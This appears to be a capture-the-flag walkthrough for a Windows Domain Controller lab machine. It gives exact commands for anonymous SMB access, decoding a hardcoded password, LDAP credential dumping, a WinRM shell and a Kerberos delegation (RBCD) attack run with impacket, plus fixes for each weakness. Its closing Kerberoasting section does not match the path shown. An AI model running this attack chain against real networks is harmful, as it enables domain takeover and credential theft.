← all walkthroughs

Support

Windows· Easy
owned
2026-07-06
time to own
8m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I used an unauthenticated SMB guest session to download a custom .NET support tool from a world-readable internal share. Static reverse engineering of that binary recovered an obfuscated LDAP service-account password compiled into the code.

Those credentials were used to query Active Directory over LDAP, where the plaintext password for a second account ('support') had been stored in that user's 'info' field — readable by any authenticated domain user. Logging in as 'support' via WinRM gave an interactive shell on the Domain Controller.

Active Directory ACL enumeration then revealed that the 'support' account — through its 'Shared Support Accounts' group membership — held GenericAll (full control) over the DC computer object. That misconfigured permission was weaponised via a Resource-Based Constrained Delegation attack to forge a Kerberos service ticket impersonating the Domain Administrator, yielding complete control of the environment.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"
export PASSWORD4="<a-password-you-choose>"
export PASSWORD5="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration (T1046)
Mapped all exposed services and identified the Domain Controller
A TCP port scan of the target revealed a Windows Server 2022 Domain Controller (hostname DC, domain support.htb). Kerberos (88), LDAP (389/3268), SMB (445), and WinRM (5985) were all open. WinRM's presence was noted as the likely remote execution path once credentials were obtained.
Exact commands 2
Map the DC IP to its DNS names for tool compatibility.
echo "$TARGET dc.support.htb support.htb" | sudo tee -a /etc/hosts
Service/version scan. Key findings: WinRM on 5985, LDAP/Kerberos confirming a DC, SMB on 445.
nmap -sV -sC -p 53,88,135,139,389,445,464,593,636,3268,5985,9389 --open -oA support_nmap $TARGET
2EnumerationSMB null-session share enumeration (T1135)
Accessed SMB without credentials and downloaded a custom application from an exposed share
SMB accepted a null/guest session with no password. Share enumeration found a non-default share named 'support-tools' that was readable by anyone on the network. It contained a custom .NET application, UserInfo.exe.zip, likely used internally to look up Active Directory user information. The file was downloaded for offline analysis.
Exact commands 3
Confirm null-session access and list readable shares.
nxc smb $TARGET -u '' -p '' --shares
Retrieve the application archive anonymously.
smbclient //$TARGET/support-tools -U '' -N -c 'get UserInfo.exe.zip'
Extract the ZIP to expose the .NET assembly.
unzip UserInfo.exe.zip -d userinfo/
FixDisable SMB guest/null sessions and restrict the support-tools shareHigh
WeaknessThe SMB server accepted connections from any client with no username or password (null/guest session). A non-default share named 'support-tools' was world-readable, enabling an unauthorised user to download internal tooling without any credential.
FixApply Group Policy to the Domain Controller and all member servers: set 'Network access: Restrict anonymous access to Named Pipes and Shares' to Enabled and 'Network access: Do not allow anonymous enumeration of SAM accounts and shares' to Enabled. Audit all SMB share ACLs and remove Everyone/Guest permissions; require an authenticated domain identity with documented business justification. Disable the Guest account.
3Credential ExtractionCredential extraction from compiled binary (T1552.001)
Reverse-engineered the .NET binary and recovered a hardcoded LDAP password
UserInfo.exe is a compiled .NET assembly. Decompiling it in ILSpy revealed a 'Protected' class containing a base64-encoded, XOR-obfuscated password string and a hardcoded key. Applying the decode logic statically — without executing the binary — produced a valid LDAP bind credential for an 'ldap' service account in plaintext. Obfuscation is not encryption: anyone with the file can recover the secret.
Protected class in UserInfo.exe contained enc_password field and XOR key '[REDACTED: recovered credential]'; decoded to ldap service account credential [REDACTED: recovered credential]
Exact commands 2
Open in ILSpy (or dnSpy); navigate to the Protected class to read the enc_password string and the XOR key.
ilspy userinfo/UserInfo.exe
Replicate the XOR decode to recover the LDAP password without running the binary.
python3 -c "
import base64
enc = '$PASSWORD'
key = b'$PASSWORD5'
raw = base64.b64decode(enc)
print(''.join(chr(b ^ key[i % len(key)]) for i, b in enumerate(raw)))
"
FixRemove hardcoded credentials from application binaries and use a secrets managerCritical
WeaknessUserInfo.exe contained an LDAP service account password obfuscated with XOR and base64 — both reversible operations — compiled directly into the .NET assembly. Anyone who obtains the binary can recover the credential in seconds without cracking, debugging, or any special knowledge.
FixReplace the embedded credential with a runtime secret retrieval call: use Windows Credential Manager, a group-managed service account (gMSA — which rotates its own password automatically), or a vault solution such as HashiCorp Vault or Azure Key Vault. Rotate the ldap service account password immediately and audit all internal tools and scripts for similar patterns. Remind developers that encoding is not encryption.
4EnumerationAuthenticated LDAP enumeration / credential in AD attribute (T1087.002)
Authenticated to LDAP and found a plaintext password stored in a user's description field
Using the recovered LDAP service account, my bound to Active Directory and enumerated all user objects. The 'support' domain user had its password stored verbatim in the 'info' attribute — a freetext field sometimes used for administrator notes. Any authenticated domain user can read this attribute via LDAP, so no privilege was required beyond the newly recovered service account.
Support user LDAP info attribute value: [REDACTED: recovered credential]
Exact commands 2
Dump all user accounts and their info/description fields using the extracted bind credential.
ldapsearch -x -H ldap://$TARGET -D 'ldap@support.htb' -w '$PASSWORD2' -b 'DC=support,DC=htb' '(objectClass=user)' sAMAccountName info
Alternative: netexec LDAP user dump — look for populated description/info columns.
nxc ldap $TARGET -u ldap -p '$PASSWORD2' -d support.htb --users
FixRemove plaintext passwords from Active Directory user and computer object attributesCritical
WeaknessThe 'info' attribute of the 'support' domain user account contained that user's password in plaintext. Any domain-authenticated user — including low-privilege accounts and service accounts — can read most AD object attributes via LDAP, making this equivalent to a world-readable password file.
FixRun the LDAP query below against your domain to find all accounts with populated description or info fields, then clear any credentials found: ldapsearch -x -H ldap://<DC> -D '<admin>' -w '<pw>' -b 'DC=support,DC=htb' '(|(info=*)(description=*))' sAMAccountName info description Schedule this check as a recurring automated scan. Provide support staff with a proper password manager rather than storing credentials in AD fields. Require unique, complex passwords for the support account and all service accounts, and store them in a PAM solution.
5Initial AccessValid accounts — remote interactive shell via WinRM (T1021.006)
Logged into the Domain Controller over WinRM as the support user
The plaintext password recovered from the LDAP info attribute was valid for the 'support' domain user. That account had WinRM access, which gave an interactive PowerShell session directly on the Domain Controller. The user flag was on the desktop of this account.
WinRM login successful; user.txt read from C:\Users\support\Desktop\user.txt
Exact commands 3
Confirm WinRM access before opening a shell.
nxc winrm $TARGET -u support -p '$PASSWORD3' -d support.htb
Open an interactive WinRM shell as support.
evil-winrm -i $TARGET -u support -p '$PASSWORD3'
Read the user flag. Value: <user.txt>
type C:\Users\support\Desktop\user.txt
6Privilege Escalation — DiscoveryActive Directory ACL enumeration — GenericAll on computer object (T1069.002)
Discovered that the support account has GenericAll over the Domain Controller computer object
Enumerating Active Directory ACLs showed that the 'Shared Support Accounts' security group — of which the support account is a member — held GenericAll (full control) over the DC$ computer object. GenericAll on a computer object lets any member write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute, which is the prerequisite for a Resource-Based Constrained Delegation attack allowing impersonation of any domain user, including Administrator.
BloodHound / LDAP ACL query: Shared Support Accounts -[GenericAll]-> DC$
Exact commands 2
Collect BloodHound data from my machine. In the UI, mark support as Owned and run 'Shortest Paths to Domain Admins' to surface the GenericAll edge.
bloodhound-python -u support -p '$PASSWORD3' -d support.htb -ns $TARGET -c all --zip
PowerView one-liner from within the WinRM shell to confirm the ACE directly.
Get-DomainObjectAcl -Identity 'DC$' -ResolveGUIDs | Where-Object { $_.ActiveDirectoryRights -match 'GenericAll' } | Select-Object SecurityIdentifier,ActiveDirectoryRights
FixRemove GenericAll from the Shared Support Accounts group over the DC computer object and reduce MachineAccountQuotaCritical
WeaknessThe 'Shared Support Accounts' group held GenericAll (full control) over the DC$ computer object in Active Directory. This allowed any member of that group to write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the Domain Controller and perform a Resource-Based Constrained Delegation attack, impersonating any domain user — including Administrator — to gain full domain control. Additionally, the default MachineAccountQuota of 10 allowed a regular user to register the fake machine account required for the attack.
Fix1. Remove the GenericAll ACE: open Active Directory Users and Computers → Advanced View → right-click the DC computer object → Properties → Security → remove the Shared Support Accounts entry or restrict it to Read-only. 2. Audit all non-default ACLs on Tier-0 assets (Domain Controllers, the domain object, AdminSDHolder) using BloodHound or the Microsoft AD ACL Scanner; remediate any GenericAll, WriteDACL, or WriteOwner edges that lead from non-admin accounts. 3. Set ms-DS-MachineAccountQuota to 0 in the domain root object (using ADSIEdit or Set-ADDomain) to prevent regular users from adding computer accounts: Set-ADDomain -Identity support.htb -Replace @{'ms-DS-MachineAccountQuota'='0'}. 4. Monitor for new computer account creation (Event ID 4741) and unexpected writes to msDS-AllowedToActOnBehalfOfOtherIdentity (Event ID 4662).
7Privilege Escalation — ExecutionResource-Based Constrained Delegation (RBCD) — S4U2Self/S4U2Proxy ticket forgery (T1558)
Executed an RBCD attack to impersonate Domain Administrator and achieve full control
Using the GenericAll privilege, a fake machine account (ATTACKERPC$) was added to the domain — a step permitted by default because the MachineAccountQuota allows regular users to create up to 10 computer accounts. The msDS-AllowedToActOnBehalfOfOtherIdentity attribute on DC$ was set to trust ATTACKERPC$. The Kerberos S4U2Self and S4U2Proxy extensions were then used to obtain a forged service ticket valid for ATTACKERPC$ acting as Domain Administrator against the DC's CIFS service. That ticket was passed to impacket-wmiexec, producing a remote command shell as NT AUTHORITY\SYSTEM. The root flag was read directly from the Administrator's desktop.
Cd /tmp/support_htb && KRB5CCNAME='Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache' impacket-wmiexec -k -no-pass ... Type C:\Users\Administrator\Desktop\root.txt
Exact commands 4
Create a fake domain computer account controlled by me.
impacket-addcomputer support.htb/support:'$PASSWORD3' -computer-name 'ATTACKERPC$' -computer-pass '$PASSWORD4' -dc-ip $TARGET
Write the RBCD attribute on DC$ to allow ATTACKERPC$ to act on behalf of any user toward the DC.
impacket-rbcd -action write -delegate-to 'DC$' -delegate-from 'ATTACKERPC$' -dc-ip $TARGET 'support.htb/support:$PASSWORD3'
Invoke S4U2Self + S4U2Proxy to forge a Kerberos service ticket granting ATTACKERPC$ access to DC's CIFS as Administrator.
impacket-getST -spn 'cifs/dc.support.htb' -impersonate Administrator -dc-ip $TARGET 'support.htb/ATTACKERPC$:$PASSWORD4'
Pass the forged Kerberos ticket to wmiexec; executes as SYSTEM on the DC. Root flag value: <root.txt>
cd /tmp/support_htb && KRB5CCNAME='Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache' impacket-wmiexec -k -no-pass -dc-ip $TARGET -target-ip $TARGET support.htb/Administrator@dc.support.htb 'type C:\Users\Administrator\Desktop\root.txt'

Attack patterns used

The transferable techniques behind this compromise.

KerberoastingActive Directory · KerberosT1558.003

What it is

Any authenticated domain user can request a Kerberos service ticket (TGS) for an account that has a Service Principal Name (SPN). Part of that ticket is encrypted with the service account's NTLM hash, so GetUserSPNs.py harvests the tickets and hashcat (mode 13100) cracks them offline to recover the service account password.

Why it works

Service accounts frequently have weak, non-expiring passwords and elevated privileges, and any domain user can request their tickets. Remediate with long random passwords or group Managed Service Accounts (gMSA), and monitor for anomalous TGS requests (event 4769).

Read more

Exposed services

53/tcp
88/tcp
135/tcp
139/tcp
389/tcp
445/tcp
464/tcp
593/tcp
636/tcp
3268/tcp
5985/tcp
9389/tcp
49664/tcp
49667/tcp
49678/tcp
49690/tcp
49695/tcp
49714/tcp